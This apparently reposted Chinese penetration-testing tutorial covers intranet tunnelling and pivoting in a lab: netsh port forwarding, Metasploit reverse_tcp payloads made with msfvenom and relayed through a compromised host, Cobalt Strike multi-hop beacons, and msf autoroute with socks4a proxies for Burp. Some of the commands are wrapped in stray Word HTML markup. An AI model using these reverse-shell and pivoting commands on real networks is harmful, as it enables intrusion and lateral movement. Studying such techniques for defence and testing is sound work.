原文链接:内网隧道应用【上】
微信公众号:[小白渗透成长之路 [如果你觉得文章对你有帮助,欢迎点赞 目录 1.netsh端口映射 2.netsh端口转发metperter 3.Cobalt strike正向多层内网上线 4.Cobalt strike反向多层内网上线 5.端口映射burp抓内网数据包 6.Burp设置上游代理访问内网 端口映射和转发 1.端口映射 端口映射就是将主机的内网(LAN)IP地址映射成一个公网(WAN)IP地址,当用户访问提供映射端口主机的某个端口时,服务器将请求转移到本地局域网内部提供这种特定服务的主机,利用端口映射功能还可以将一台外网ip地址机器的多个端口映射到内网不同机器上的不同端口。 端口映射和端口转发的区别? 这个也是我自己之前比较混淆的一点。虽然两种的功能类似,但又不是完全一样。 端口映射是将外网的一个端口完全映射给内网的一个指定端口; 端口转发是将外网的一个端口的通信完全转发给内网的一个地址的指定端口。 端口映射可以实现外网到内网和内网到外网的双向通信,而映射转发只能实现外网到内网的单向通信。 1.netsh端口映射 netsh是windows系统自带的一个命令行工具,这个工具是可以内置端口转发功能的。 实验网络拓扑图 kali windows 08(A) windows xp(B) 这里我们看到kali是单网卡,模拟外网,A机器有双网卡,一个外网,一个内网,B机器单网卡,模拟纯内网。 已知B机有WEB服务,端口为80,但是我们kali是直接访问不到的,但是我们拿下了A机器,A可以和B通信,所以我们可以以A为跳板做一个映射,访问到B机。 第一步:设置转发 netsh interface portproxy add v4tov4 listenport=设置端口 connectaddress=要访问的目标主机 connectport=目标主机的端口 netsh interface portproxy add v4tov4 listenport=7777 connectaddress=10.10.10.128 connectport=80 查看转发规则 netsh interface portproxy ahow all 清除转发规则 netsh interface portproxy delete v4tov4 listenport=xxx 第二步:kali访问A的ip+7777就可以访问到B服务器上的80端口内容了。 此外由于设置了转发规则,A主机访问本地127.0.0.1:7777也是可以直接访问到B主机的web的。 2.netsh端口转发metperter 实验拓扑图 我们最后完成的要是kali在A上通过代理访问到B,如果我们拿到B的权限,通常是生成正向后门,然后kali的msf可以正向链接到B,由此得到metperter,进而进行其他操作。 如果B上存在防火墙拦截,kali的msf九不能直接正向连上后门,为了解决这个问题,可以通过生成一个反向的后门连接到服务器A,在服务器A上再通过端口映射或者转发给kali的msf上。 操作: 第一步,在msf上生成后门 - <p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
- mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
- mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
- mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
- mso-font-kerning:1.0000pt;"><font face="Calibri">msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.129 LPORT=4455 -f exe > shell.exe</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
- mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
- mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
- mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
- mso-font-kerning:1.0000pt;"> </span></p>
复制代码 第二步:在A机上增加命令做转发 netsh interface portproxy add v4tov4 listenport=4455 connectaddress=192.168.30.128 connectport=4455 将4455端口转发到kali的4455端口。 这样当B主机访问到4455端口时,A主机就会返回给kali机。 第三步:kali开启监听 - <p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
- mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
- mso-font-kerning:1.0000pt;"><font face="Calibri">use exploits/multi/handler</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
- mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
- mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
- mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
- mso-font-kerning:1.0000pt;"><font face="Calibri">set PAYLOAD windows/meterpreter/reverse_tcp</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
- mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
- mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
- mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
- mso-font-kerning:1.0000pt;"><font face="Calibri">set LHOST kali</font><font face="宋体">的</font><font face="Calibri">ip</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
- mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
- mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
- mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
- mso-font-kerning:1.0000pt;"><font face="Calibri">set LPORT your_ip</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
- mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
- mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
- mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
- mso-font-kerning:1.0000pt;"><font face="Calibri">run</font></span></p>
复制代码
第四步:向B机上传我们生成的木马,并执行
3.Cobalt strike正向多层内网上线 内网穿透分为正向和反向,正向可以直接连到内网主机,反向是让受害者反向连接。 正向代理:已控服务器监听端口,通过这个端口形成一个正向的隧道,由代理机器代替主机去访问内网目标。但是内网入口一般处于DMZ区域有防火墙拦截,无法直接进入内网环境。 反向代理:由内网主机主动交出权限到代理机器,然后本地去连接形成反向代理。例如:VPS监听本地端口,已控内网服务器来连接此端口,形成一个隧道。如果内网设备连接外网,就无法回弹只能再想其他办法。 实验拓扑图 首先A我们已经拿下,并上传了cs后门,通过后门查看网络信息发现存在10.10.10.0/24,因为网段A可以访问B,所以我们可以在CS上通过A作为跳板访问B。 第一步:CS端生成后门,先上线A主机
第二步:生成一个beacon-tcp的监听器,端口随意 第三步:生成后门,监听器选择tcp
第四步,将后门上传到B主机上,执行 第五步:来到A主机的终端, connect B主机ip 端口(刚刚设置的tcp监听器的端口)
就可以CS正向连接到B主机了,查看ip。 4.Cobalt strike反向多层内网上线 实验拓扑图 上面是正向代理是不考虑有防火墙拦截的情况,如果在B上有防火墙拦截,那么正向代理就会失败,所以我们这里利用CS的反向连接。 反向代理可以突破防火墙的拦截,因为是从服务器内部反向的连接。 所以我们的思路就是在B机器上生成一个后门,让他反向连接到A主机,然后再由A机做一个端口转发,转发到我们的CS机上。 操作: 第一步:先上线A主机,并在A主机上新建监听器
默认设置就好,目的是转发本地4444端口。 第二步:创建后门,选择刚刚创建的监听器。
将生成的后门放到目标主机上,并运行 在b主机上执行后,后门会主动连接A主机,A机就可以获得B主机的会话了。 不过我这个略显失败,可能是系统有问题,老执行不了木马,其他的步骤没错,大家可以试试。 5.端口映射burp抓内网数据包 实验拓扑图 这个还是老靶场,A和C不能直接通信,如果A向想访问C的80端口,使用burp做测试,那么,还是要以B机做端口映射。当A有B的权限后就可以在B上设置端口映射,将端口映射给C的80端口,然后A就能访问到C也能抓C的包了。 操作和第一个实验基本一样。 第一步:还是在B机上使用netsh做映射 netsh interface portproxy add v4tov4 listenport=7777 connectaddress=C服务器(ip) connectport=80 第二步:访问B主机的ip:7777端口,就可以直接访问到C主机的网站了。 第三步:相信大家都明白,开启代理,配置代理,抓包就可以了。 6.Burp设置上游代理访问内网 实验拓扑图 在渗透测试中,很多时候都会使用msf进行测试,拿到服务器权限后载开代理进入内网再做横向渗透或者其他操作。 实验说明与预期 当kali获得服务器B得到meterperter后,可以设置Socks4代理通过在A服务器上配置proxychains就能让D访问C服务器的80端口。 当D设置浏览器代理访问C的时候,实际上是D通过代理访问A的1080端口转发到C的80端口上。因为浏览器已经设置了代理,burp无法再使用浏览器代理。 在这这种情况下,burp想要使用浏览器代理抓包,可以在burp代理模块指定代理A的信息,但是burp不支持socks4代理,可以考虑使用burp的上游代理设置为系统代理,再通过代理访问kali,再经过B服务器即可访问C的80端口。 操作: 第一步:kali通过msf设置socks4代理, 开启msf并设置监听,监听本机,端口默认4444 第二步,生成后门,上传到B主机,A主机即可获得B主机的shell。 msfvenom -p windows/meterpreter/reverse_tcp LHOST=kali的ip LPORT=4444 -f exe > shell.exe
第三步:做10短的路由 添加路由 run autoroute -s 10.10.10.0/24 查看添加信息 run autoroute -p 使用background命令将该shell放在后台然后使用我们的socks4a的模块做代理 msf > use auxiliary/server/sock4a msf > set srvhost 192.168.30.129 msf > set srvport 1080 msf > exploit 第四步:在kali中修改配置 vim /etc/proxychains4.conf 修改socks4 代理为B主机ip。 测试是否可以和10.10.10.130通信。 第五步:在A(burp主机)上的浏览器中加入sock4的代理 然后我们就可以在D机上直接访问到C主机了。 第六步 机抓C机的包 如果我们现在想抓burp的包,但是现在我们的浏览器代理已经是占用状态,所以我们不能在给burp直接添加代理,burp虽然有设置socks,但貌似只支持socks5,所以我们可以使用SocksCap64工具。 配置socks4代理,为kali刚刚设置socks4a的 开启 然后在burp中设置上游代理为 然后我们将浏览器中kali的代理切换成我们正常的127的代理即可。 这样我们就可以快乐的在D机上直接访问C机的web服务进行抓包测试了。 未完待续~~~
|